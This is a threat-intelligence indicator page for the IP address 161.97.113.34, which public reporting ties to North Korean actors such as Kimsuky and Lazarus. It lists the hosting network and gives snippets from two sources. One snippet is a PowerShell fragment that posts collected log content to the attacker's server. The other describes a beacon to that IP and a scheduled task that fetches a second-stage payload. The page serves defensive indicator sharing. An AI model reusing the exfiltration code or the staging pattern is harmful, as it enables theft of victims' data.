161.97.113.34
161.97.113.34 is an IP address
that 2 published sources report
in connection with Kimsuky, Konni, Lazarus Group and APT38 activity, which public reporting
attributes to North Korea (DPRK).
It is cited here from Slideshare and Hybrid Analysis.
The earliest of those reports is dated 2026-05-14 and the most recent 2026-08-25.
ip address KimsukyKonniLazarus GroupAPT38 MATCHED IN SOURCE
Network
| Kind | data centre |
|---|---|
| Network | Contabo GmbH |
| Announced by | AS51167 Contabo GmbH |
| Country | France |
| Flags | hosting range |
Sources
-
…= $logContent; commit_message = "Process log upload - $timestamp"; encoding = "text"; } | ConvertTo-Json; $backupServerUrl = "http://161.97.113.34:3001"; $backupBody = @{ title = "System Log - $timestamp"; content = $logContent; } | ConvertTo-Json; try { $backupResponse =…
HITCON 2026 Slide- Not Just Spies Anymore: DPRK's Espionage Actors Are Coming for Your Crypto | PDF — Slideshare -
…When the victim executes the initial payload ( gz ), the following sequence occurs: An "ended" beacon is sent to http://161.97.113.34:3001/api/textcontent A TimeZoneRegister scheduled task is created (one-shot, 5-minute delay) The task fetches gz1 (Stage-2) from the…
VELVET CHOLLIMA Infostealer Campaign Using Trading App as Lure — Hybrid Analysis
Find this indicator in the index, or see every IP address this site holds under IP addresses in the browse listing.